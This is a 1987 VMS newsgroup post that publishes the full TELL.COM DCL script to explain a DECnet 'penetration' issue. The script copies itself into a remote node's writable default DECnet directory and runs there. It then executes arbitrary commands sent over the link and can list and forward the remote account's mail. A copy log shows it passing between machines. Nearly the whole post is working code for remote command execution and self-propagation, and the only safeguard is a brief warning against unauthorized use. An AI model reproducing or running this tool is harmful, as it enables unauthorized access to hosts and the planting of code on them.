[comp.os.vms] TELL.COM -- WHAT ALL THE DECNET PENETRATION FUSS IS ABOUT

SCS7317%ocvaxa@vb.cc.cmu.edu (12/01/87)

(Enter message below this line) 

I'm not really sure what all the fuss is about. As a 10 year veteran
security programmer, I'm quite sure that anything attached to a
network is unsecure. Networks are for moving information quickly,
security is for stopping the spread of information.  The use of the
two in one sentence is an oxymoron. 

So, to ease the curiousity of those who do not know what "TELL" is, or
how it works, I'm posting it here.  Remember, some people get very
upset if you use this on their systems...so don't use it w/o
permission.  And those of you who don't want it used on your system,
please don't allow anyone to write to the DECNET default directory. 


Chris Seline


p.s. I found this one floating around our network.  I am not the author.
And since I did find it floating around , I assume the author does not
mind it being "distributed".

-------------------------------CUT HERE-------snip--snip---------------------
$ V := 'F$VERIFY( F$LOGI("DEBUG$COM") + F$LOGI("DEBUG$TELL") )
$ TELL_VERSION = 23	!use negative for debugging new version
$!	-- documentation at end of file to speed processing --
$!
$! Some initial stuff
$!
$ v2 = v
$ tell_file := tell.com
$ no_log_sw = ""
$!
$ if f$extract(0,2,f$getsyi("version")) .eqs. "V3" then goto skip_v4_features
$	tell_file = f$environment("procedure")  !VMS V4 feature
$	no_log_sw = "/nolog"			!VMS V4 feature
$!
$skip_v4_features:
$!
$ tell_file_name = f$parse(tell_file,,,"NAME")
$	mail := $SYS$SYSTEM:MAIL
$	copy := copy/nolog
$	delete := delete/nolog
$!
$! Network server or Local?
$!
$	if f$mode() .nes. "NETWORK" then goto client_process
$!
$!===================================================
$!
$!	Network server piece
$!
$!===================================================
$
$network:
$	get_mail = "F"
$	open/read/write tell_link sys$net
$	set noon
$	V2 = 0	!initially turns off verify for command echo
$	define'no_log_sw' sys$error   tell_link:	!need to see errors
$	define'no_log_sw' sys$output  tell_link:
$	username = f$edit(f$getjpi("","USERNAME"),"COMPRESS,TRIM")
$	write tell_link "REMOTE TELL USER: ''username'"
$	write tell_link "REMOTE TELL VERSION: ''tell_version'"
$server_loop:
$	write tell_link "ABOUT_TO_ISSUE_READ"
$	read tell_link tell_string /end_of_file=server_exit /error=server_exit
$	tell_cmd = f$extract(0,f$locate(" ",tell_string),tell_string)
$	if tell_cmd .eqs."DO_GET_MAIL" then goto start_mail
$	if tell_Cmd .eqs."DO_FORWARD" then goto start_forwarding
$	if tell_cmd .eqs."DO_FILE" then goto start_fileing
$	if tell_cmd .eqs."DONE_MAIL" then goto done_with_mail
$	if get_mail then goto done_with_mail
$do_cmd:
$	V2 = F$VERIFY( V2 )	!restore verify to what user wants
$ 'tell_string'
$	V2 := 'F$VERIFY( 0 )	!turn verify off for this com file
$	goto server_loop
$start_mail:   
$	tell_string = f$edit(tell_string,"COMPRESS,TRIM")
$	to_address = f$extract(f$locate(" ",tell_string),999,tell_string)
$	get_mail = "T"
$	no_mail = "F"
$	doing_forward = "F"
$	doing_file = "F"
$	if f$search("MAIL_CMDS.TMP") .nes. "" then delete mail_cmds.tmp;*
$	if f$search("MAIL_LOG.TMP") .NES. "" THEN DELETE MAIL_LOG.TMP;*
$	open/write mail_cmds mail_cmds.tmp
$	write mail_cmds "$assign/user ''f$directory()'mail_log.tmp sys$output"
$	write mail_cmds "$!assign/user sys$command sys$input"
$	write mail_cmds "$!assign/user mail_log.tmp sys$error"
$	write mail_cmds "$   	mail"
$	write mail_cmds "dir newmail"
$	write mail_cmds "exit"
$	write mail_cmds "$! end"
$	close mail_cmds
$	submit/name="''username'_MAIL_GET" -
		/log='f$directory()''username'_mail_get.log -
		/noprint  mail_cmds.tmp
$!
$	sync 'username'_mail_get
$	last_mail_num = 0
$	open/read mail_log mail_log.tmp/error=error_mail_open
$read_mail_dir:     
$	if no_mail then goto eof_mail
$	read/error=eof_mail/end=eof_mail mail_log in_rec
$	write tell_link "''in_rec'"
$	in_rec = f$edit(in_rec,"COMPRESS,TRIM")
$	if f$locate("%E",in_rec) .Lt. f$length(in_rec) then no_mail = "T"
$	n = f$extract(0,f$locate(" ",in_rec),in_rec)
$	if (n .ge. 1) .and. (n .le. 99) then -
$		if (last_mail_num .lt. n) then -
$			last_mail_num = n
$	goto read_mail_dir
$error_mail_open:
$	write tell_link "No mail available"
$	no_mail = "T"
$	goto cont_eof_mail
$eof_mail:
$	close mail_log
$cont_eof_mail:
$	delete/nolog mail_*.tmp;*
$	open/write mail_cmds mail_cmds.tmp
$	write mail_cmds "$mail"
$	close mail_cmds
$	out_msg := "MAIL_DIR_DONE"
$	if no_mail then out_msg := "MAIL_EXIT"
$	if no_mail then get_mail = "F"
$	write tell_link "''out_msg'"
$	goto server_loop
$done_with_mail:     
$	open/append mail_cmds mail_cmds.tmp
$	write mail_cmds "EXIT"
$	write mail_cmds "$delete ''f$directory()'mail_*.tmp;*"
$	write mail_cmds "$delete ''f$directory()'*mail_get.*;*"
$	close mail_cmds
$	submit/name="''username'_MAIL_GET" -
		/log='f$directory()''username'_mail_get.log -
		/noprint  mail_cmds.tmp
$!
$	write tell_link "MAIL_EXIT"
$	get_mail = "F"
$	goto server_loop
$Start_forwarding:      
$	tell_string = f$edit(tell_string,"COMPRESS,TRIM")
$	CUR_LIST = f$extract(f$locate(" ",tell_string),999,tell_string)
$	open/append mail_cmds mail_cmds.tmp
$	write mail_cmds "dir newmail"
$	return = "write_forward"
$	type_list = "Forward"
$	ele_f_t = 1
$	goto get_list_ele
$Start_fileing:
$	tell_string = f$edit(tell_string,"COMPRESS,TRIM")
$	CUR_LIST = f$extract(f$locate(" ",tell_string),999,tell_string)
$	open/append mail_cmds mail_cmds.tmp
$	write mail_cmds "dir newmail"
$	return = "write_file"
$	type_list = "Fileing"
$	ele_f_t = 1
$	goto get_list_ele
$write_forward:
$	if ret_num .eq. -1 then goto done_forward
$	if (ret_num .gt. last_mail_num) -
	   .or. (ret_num .le. 0) then goto number_error
$	write mail_cmds "read ''ret_num'"
$	write mail_cmds "forward/noedit"
$	write mail_cmds "''to_address'"
$	write mail_cmds "Auto-forward via get_mail"
$!	write mail_cmds "delete"
$	goto get_list_ele
$Done_forward:          
$	close mail_cmds
$	goto server_loop
$write_file:
$	if ret_num .eq. -1 then goto done_file
$	if (ret_num .gt. last_mail_num) -
	   .or. (ret_num .le. 0) then goto number_error
$	write mail_cmds "read ''ret_num'"
$	goto get_list_ele
$done_file:
$	close mail_cmds
$	goto server_loop
$!
$number_error:
$	write tell_link "Message number ''ret_num' not found for ''type_list'"
$	goto get_list_ele
$!
$server_exit:
$	close tell_link
$	deassign sys$output
$	exit
$!
$Get_list_ele:
$	if (.not. ele_f_t) then goto ele_next_num
$	ele_next = 0
$	ret_num = 0
$	ele_f_t = 0
$ele_next_num:     
$	ret_num = F$ELEMENT(ele_NEXT,",",cur_list)
$	IF (ret_num .EqS. "") THEN goto ele_end_list
$	ele_NEXT = ele_NEXT + 1
$	goto 'return'
$ele_end_list:
$	ret_num = -1
$	ele_f_t = 1
$	goto 'return'
$!
$!==================================================
$!
$!	Local subroutines
$!
$!==================================================
$client_process:
$!
$	proxy_enabled = "F"
$	proxy_checked = "F"
$	one_command = "F"
$	if p1 .nes "PROXY" then goto get_node
$	proxy_enabled = "T"
$	n = 1
$	m = 2
$shift_params:
$	P'n' = P'm'
$	if m .ge. 8 then goto done_shift
$	n = m
$	m = m + 1
$	goto shift_params
$done_shift:
$	P8 = ""
$get_node:
$!	if proxy_enabled then write sys$output "[Tell will attempt proxy login]"
$!	if .not.proxy_enabled then write sys$output "[Tell will use default DECNET login]"
$	if p1 .eqs. "" then read/prompt="Node: " sys$command p1
$	nodespec = p1 - "::"
$	nodename = f$extract(0,f$locate("""",nodespec),nodespec)
$ 	if (nodename .eqs. nodespec) -
	   .AND. (.not. proxy_enabled) then nodespec = nodename + """""" !no proxies
$	rmread := read/time=120/error=timeout_exit
$	local_at = "F"
$	log_file = "F"
$	log_file_name = ""
$	remote_tell_exists = "F"
$	temp_zzz = "F"
$	tell_where := sys$login:telltemp.zzz;0
$	tell_init = "F"
$	new_remote = "F"
$	init_cmd_num = 1
$	tell_startup = "T"
$	mail_active = "F"
$	mail_dir_in_proc = "F"
$	cur_node = f$logical("SYS$NODE") - "_"
$	cur_user = f$getjpi("","USERNAME")
$	cur_user = f$edit(cur_user,"COMPRESS,TRIM")
$!
$! Set initial commands here (use numbers sequentially)
$!
$	init_cmd_1 = "if f$extr(0,1,f$logi(""sys$announce"")) .eqs. ""@"" then type 'f$extr(1,999,f$logi(""sys$announce""))"
$	init_cmd_2 = "if f$extr(0,1,f$logi(""sys$announce"")) .nes. ""@"" then write tell_link ""'" + -
									"'f$logi(""""sys$announce"""")'"""
									!V3.x needs tell_link, and quotes
$	init_cmd_3 = "write tell_link ""Remote VMS "",""'" + "'f$getsyi(""""version"""")'"""	!V3.x needs junk
$      	init_cmd_4 = "write tell_link ""[ ~ = Local cmd, ^ = Get Mail ]"" "
$!
$	local = " " + f$sea(f$logi("TELL$INIT"))
$	if local .nes. " " then tell_init = "T"
$	on warning then continue
$	on error then goto exit2
$	on control_y then goto exit2
$	close/err=10$	tell_server
$10$:
$	open/read/write tell_server 'nodespec'::"0=''TELL_file_name'"/error=open_failure
$	remote_tell_exists = "T"
$	on error then goto exit
$	on control_y then goto exit
$	on warning then goto exit
$sync_start:
$	rmread tell_server record
$	record := 'record'
$	if f$locate("REMOTE TELL USER:",record) .lt. f$len(record) then -
$		goto check_proxy_login
$	if f$locate("REMOTE TELL VERSION:",record) .lt. f$len(record) then -
$		goto check_server_ver
$	if record .eqs. "ABOUT_TO_ISSUE_READ" then goto new_remote_server
$	goto sync_start
$check_proxy_login:  
$	proxy_checked = "T"
$	if .not.proxy_enabled then goto sync_start
$	record = f$extract((f$loc(":",record)+1),f$len(record),record)
$	record = f$edit(record,"COMPRESS,TRIM")
$	if record .eqs. "DECNET" then proxy_enabled = "F"
$!	if proxy_enabled then goto sync_start
$!	write sys$output "[Tell access via ''record' caused proxy to be disabled]"
$	goto sync_start
$!
$flush_output:
$	if (.not.proxy_checked) then proxy_enabled = "F"
$	rmread tell_server record
$	if record .eqs. "ABOUT_TO_ISSUE_READ" then goto send_command
$!!?	if log_file then write/symbol to_log record
$!!?	write/symbol sys$output record		!"/symbol" means long records
$! the extracts below are to handle long writes from the remote system
$! such as you get when you say SHOW CLUSTER
$!
$	if f$loc("MAIL_DIR_DONE",record).lt. f$len(record) then -
$		mail_proc = "mail_dir_done"
$	if f$loc("MAIL_EXIT",record) .lt. f$len(record) then -
$		mail_proc = "mail_aborted"
$	if (mail_active).and. (mail_dir_in_proc) then -
$		goto 'mail_proc'
$	if log_file then write to_log f$extract(0,255,record), f$extract(255,255,record)
$	write sys$output f$extract(0,255,record), f$extract(255,255,record)
$	goto flush_output
$
$send_command:
$	if mail_active then goto 'mail_proc'
$	if p2 .nes. "" then goto single_command
$!
$! tell_startup is to send initial commands to remote:  init_cmd_1 ...
$!
$	if .not. tell_startup then goto do_send
$	record = init_cmd_'init_cmd_num
$	init_cmd_num = init_cmd_num + 1
$	tell_startup = (f$type(init_cmd_'init_cmd_num') .nes. "" )
$	goto process_input
$!
$! tell_init, local_at are sending commands from a command file (TELL$INIT)
$!
$do_send:
$	if tell_init then goto local_at_file
$	if local_at then read/error=no_at_file/end=done_at_file tmp_at record
$	if .not. local_at then read sys$command record /promt="(tell)''nodename'> " /end=exit
$!
$process_input:
$	test_record	:= 'record
$	if test_record .eqs. "EXIT" then goto exit
$	if f$len(test_record) .gt. 0 .and. -
		(f$locate("~", test_record) .eq. 0) then -
$			goto local_command_start
$	if f$len(test_record) .gt. 0 .and. -
		(F$LOCATE("^", TEST_RECORD) .EQ. 0) then -
$			goto get_mail
$	if log_file then write to_log "$ ",record
$	write tell_server record
$	goto flush_output
$
$local_command_start:
$	if f$len( record ) .le. 1 then goto local_command
$		local = f$extract( 1,999,record )  !typed ahead command
$		multi_local = "F"
$		goto local_1
$local_command:
$	local = ""
$	read sys$command local /prompt="Local command > " /end=local_1
$	multi_local = "T"
$local_1:
$	if f$len( local ) .eq. 0 then write sys$output "[A[K[A"
$	if f$len( local ) .eq. 0 then goto send_command
$	if f$locate("?", local) .eq. 0 then goto local_help
$	if f$locate("@", local) .eq. 0 then goto local_at_file
$	if f$locate("|", local) .eq. 0 then goto record_file
$	assign/user'no_log_sw' 'f$logi("sys$command") sys$input
$	set noon
$	V2 := 'F$VERIFY( V2 )	!restore verify to what user wants
$ 'local'
$	V2 := 'F$VERIFY( V )	!turn verify off for this com file
$	set on
$	if multi_local then goto local_command
$	goto send_command	!it's just one command
$
$!
$local_at_file:
$	open/read/error=no_at_file tmp_at 'f$extract(1,999, local) 
$	local_at = "T"
$	tell_init = "F"
$	goto send_command
$
$done_at_file:
$	local_at = "F"
$	close tmp_at
$	goto send_command
$no_at_file:
$	write sys$output "Can't read file: ''local'"
$	local_at = "F"
$	tell_init = "F"
$	goto send_command
$
$!++
$!	remote get mail request section
$!++
$get_mail:
$	if .NOT.proxy_enabled then goto sorry_no_mail
$	write tell_server "DO_GET_MAIL ''cur_node'''cur_user'"
$	disp_lns = 0
$	page_lns = f$getdvi("SYS$COMMAND","TT_PAGE")
$	mail_proc = "mail_dir"
$	multi_local = "F"
$	mail_active = "T"
$	mail_dir_in_proc = "T"
$	goto flush_output
$mail_dir:
$	disp_lns = disp_lns + 1
$	if disp_lns .lt. page_lns then goto mail_disp
$	read sys$command local /prompt="Hit return to continue.. " /end=mail_disp
$mail_disp:
$	write sys$output "''record'"
$	goto flush_output
$mail_aborted:
$	mail_proc = ""
$	if one_command then mail_proc = "EXIT"
$	if .not. one_command then mail_active = "F"
$	mail_dir_in_proc = "F"
$!	write sys$output "%I-GETMAIL Remote mail get finished"
$	goto send_command
$mail_dir_done:          
$	mail_dir_in_proc = "F"
$	mail_msg = ""
$	write sys$output "Enter the message numbers to be transfere here,"
$	write sys$output "  seperated with commas. <return for none>"
$	read/end=mail_fileing/error=mail_dir_done/prompt="Transfere which messages ?"  sys$command mail_msg 
$	mail_msg = f$edit(mail_msg,"COMPRESS,TRIM")
$	if mail_msg .eqs. "" then goto mail_fileing
$	mail_msg = mail_msg + "," - ",,"
$	write tell_server "DO_FORWARD ''MAIL_MSG'"
$	mail_proc = "mail_fileing"   
$	goto flush_output
$mail_fileing:
$	mail_msg = ""
$	write sys$output "Enter the message numbers to be filed there,"
$	write sys$output "  seperated with commas. <return for none>"
$	read sys$command mail_msg /prompt="File which messages?" /end=mail_fil1
$	mail_msg = f$edit(mail_msg,"COMPRESS,TRIM")
$	if mail_msg .eqs. "" then goto mail_fil1
$	mail_msg = mail_msg + "," - ",,"
$	write tell_server "DO_FILE ''MAIL_MSG'"
$mail_fil1:
$	mail_proc = "mail_done"
$	goto flush_output 
$mail_done:
$	mail_proc = ""
$	if one_command then mail_proc = "EXIT"
$	if .not. one_command then mail_active = "F"
$	write tell_server "DONE_MAIL"
$	goto flush_output
$sorry_no_mail:
$	write sys$output "  %E-NOPROXY Sorry proxy access not enabled, no GET MAIL allowed"
$	mail_active = "F"
$	goto local_command
$!
$record_file:
$	if local .eqs. "|" then goto done_log_file
$	if log_file then close to_log  !make sure it's closed first
$	log_file_name = f$extract(1,999, local) 
$	open/write/error=no_log_file to_log 'log_file_name
$	log_file = "T"
$	goto send_command
$
$done_log_file:
$	if log_file then close to_log  !only if it's already open
$	log_file = "F"
$	log_file_name = ""
$	goto send_command
$no_log_file:
$	write sys$output "Can't write file: ''local'"
$	log_file = "F"
$	log_file_name = ""
$	goto send_command
$
$local_help:
$	WRITE SYS$OUTPUT "      @FILE  sends text file to the remote system
$	WRITE SYS$OUTPUT "      |FILE  records screen output to file
$	WRITE SYS$OUTPUT "      |      turns recording off
$	WRITE SYS$OUTPUT "             anything else is executed locally
$	WRITE SYS$OUTPUT "             (to do @COMfile locally, type a space first)
$	WRITE SYS$OUTPUT "      ^Z     to exit
$	if .not. log_file then WRITE SYS$OUTPUT "      [no log file active]"
$	if log_file then WRITE SYS$OUTPUT "      [logging to file: ''log_file_name']"
$	goto local_command
$
$single_command:
$	command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$	m = 1
$	one_command = "T"
$clear_params:
$	P'm' = ""
$	if m .ge. 8 then goto done_clear
$	m = m + 1
$	goto clear_params
$done_clear:
$	if command .eqs. "^" then goto get_mail
$	write tell_server command
$single_flush:
$	rmread tell_server record
$	if record .eqs. "ABOUT_TO_ISSUE_READ" then goto exit
$	write sys$output record
$	goto single_flush
$
$check_server_ver:
$	remote_tell_version = f$extract(21,99,record)
$	if remote_tell_version .eq. tell_version then goto flush_output
$	if remote_tell_version .gt. tell_version then goto need_new_tell
$new_remote_server:
$!!!	close tell_server  !need a new version remotely
$!!!	wait 0:0:1	! Wait for remote FAL process to get ready
$	write sys$output "Remote TELL is old version: ''remote_tell_version'"
$	goto open_failure2
$
$need_new_tell:
$	write sys$output "Remote TELL is newer version: ''remote_tell_version'"
$	goto flush_output
$
$open_failure:
$	err_stat = $status
$	if f$logi("debug$tell2") .nes. "" then write sys$output "Error: ''err_stat' ''f$mess(err_stat)'"
$open_failure2:
$	on warning then goto exit2
$	Write Sys$Output "Replicating TELL version ''Tell_version' to node ''nodename'"
$!
$!	Create tmp file to tell where we came from
$!
$	open/write where_is 'tell_where
$	temp_zzz = "T"
$	write where_is "$! Copied from ''cur_node'''cur_user' on ''f$time()'"
$	close where_is
$!
$!!!	We should use the single COPY command, but COPY in Z2M9 can bomb
$!!!	copy 'tell_file','tell_where' 'nodespec'::'tell_file_name'.COM;0 /prot=w:RE	!highest version
$!
$	set noon
$	copy   'tell_file'  'nodespec'::'tell_file_name'.COM;0 /prot=w:RE	!highest version
$	copy_stat = $status
$	if copy_stat then -
		append 'tell_where' 'nodespec'::'tell_file_name'.COM   
$	set on
$!
$	delete 'tell_where'
$	temp_zzz = "F"
$!
$	if remote_tell_exists then -
	  if .not. copy_stat then goto Copy_fail_ok !copy failed, bubuold version is there
$	if remote_tell_exists then close tell_server !copy worked, close old version
$	wait 0:0:1	! Wait for remote FAL process to get ready
$	open/read/write tell_server 'nodespec'::"0=''TELL_file_name'"
$	new_remote = "T"
$	on error then goto exit
$	on control_y then goto exit
$	on warning then goto exit
$	goto sync_start
$
$Copy_fail_ok:
$	Write Sys$Output "Can't update Remote TELL, continuing..."
$	on warning then goto exit
$	goto send_command
$
$timeout_exit:
$	write sys$output "Remote Node timeout: Lost connection"
$!
$exit:
$	set noon
$	write tell_server "LOGOUT/BRIEF"
$	if log_file then close to_log
$	if local_at then close tmp_at
$exit2:
$	if temp_zzz then close where_is/error=e1
$e1:
$	if temp_zzz then delete 'tell_where'
$	close/error=e2 tell_server
$e2:
$	V = F$VERIFY( V )
$	exit
$!
$!
$ !
$ !=========================================================================
$ !
$ ! Execute DCL command(s) in a remote network job - Tim Halvorsen
$ !
$ !	This file is NOT intended to be any type of security breaching
$ ! mechanism, but just a tool to conveniently look at remote systems 
$ ! from my office terminal.  When I first found it in my DECNET account
$ ! I was very concerned, I hope that your concern will be short lived
$ ! also!   \s\Rick
$ !
$ !	TELL :== @TELL  or, on V4: TELL :== @[wherever]TELL
$ !
$ !	P1 = Node name or PROXY with node name in P2
$ !	P2-8 = (OPTIONAL) A DCL command to be executed
$ !	[ If you don't supply DCL command, you are prompted for commands.
$ !	  In this mode, you can type tilde (~) to enter local commands for
$ !	  your system without breaking the remote connection.  After typing
$ !	  ~ type ? for help on extra options (Sending text files and logging) ]
$ !
$ !	NOTE - in order for PROXY access and get_mail to work the local 
$ !	       node must have tell as a task in the known object list in 
$ !	       NCP with outgoing proxy access enabled. 
$ !		The system manager should do :
$ !		NCP> DEF OBJ TELL NUMBER 0 PROXY OUTGOING
$ !		NCP> SET OBJ TELL NUMBER 0 PROXY OUTGOING
$ !
$ ! Modifications
$ !		(condensed)
$ !  DEC  8/15/84  	   v 2	   
$ !		   (REGAL::CHESTNUTT)
$ !
$ !  DEC  8/27/84 	   v 3	   
$ !
$ !  DEC  9/6/84   	   V 4	   
$ !
$ !  DEC  9/11/84  	   V 5	   
$ !
$ !  DEC  9/13/84          V 6
$ !
$ !  RSD  10/9/84  	   V 7
$ !
$ !  DEC   2/6/85  	   V 8	   
$ !		
$ !  GJM  10/16/85 Add get_mail and proxy processing for access to 
$ !	   V22	   remote node mail processing via the ^ flag command.
$ !		   Bumped to version 20 due to other version floating 
$ !		   around. 
$ !		   requires that local node have TELL defined as an
$ !		   object with the NCP command :
$ !			NCP DEFINE OBJECT TELL NUMBER 0 PROXY OUTGOING
$ !		   and tell be initialed via the DCL
$ !			TELL :== @[mumble]TELL PROXY
$ !		   allows TELL PROXY DUMDUM ^ to do just get mail and exit
$ !		   could be defined as command in login via:
$ !		   GET_MAIL_DUMDUM :== @[mumble]TELL PROXY DUMDUM ^
$ !			(ZEPPO::MOODY)
$ !=========================================================================
$!=========================================================================
$!
$! Where did this copy of TELL come from?
$!
$! Copied from SONATA::CARCHIDE on 26-DEC-1985 13:19:50.79
$! Copied from ORC::MERSHON on 10-FEB-1986 09:16:17.14
$! Copied from WBCN::BARLOW on 30-JUN-1986 13:39:46.88
$! Copied from NACHO::WILLIAMS on 16-JUL-1986 14:11:43.97
$! Copied from MANANA::COLGATE on 22-NOV-1986 10:31:16.82
$! Copied from PTOVAX::WILSONJ on 26-JAN-1987 17:43:21.07
$! Copied from PTOSRT::CMU on 12-JUN-1987 10:10:52.35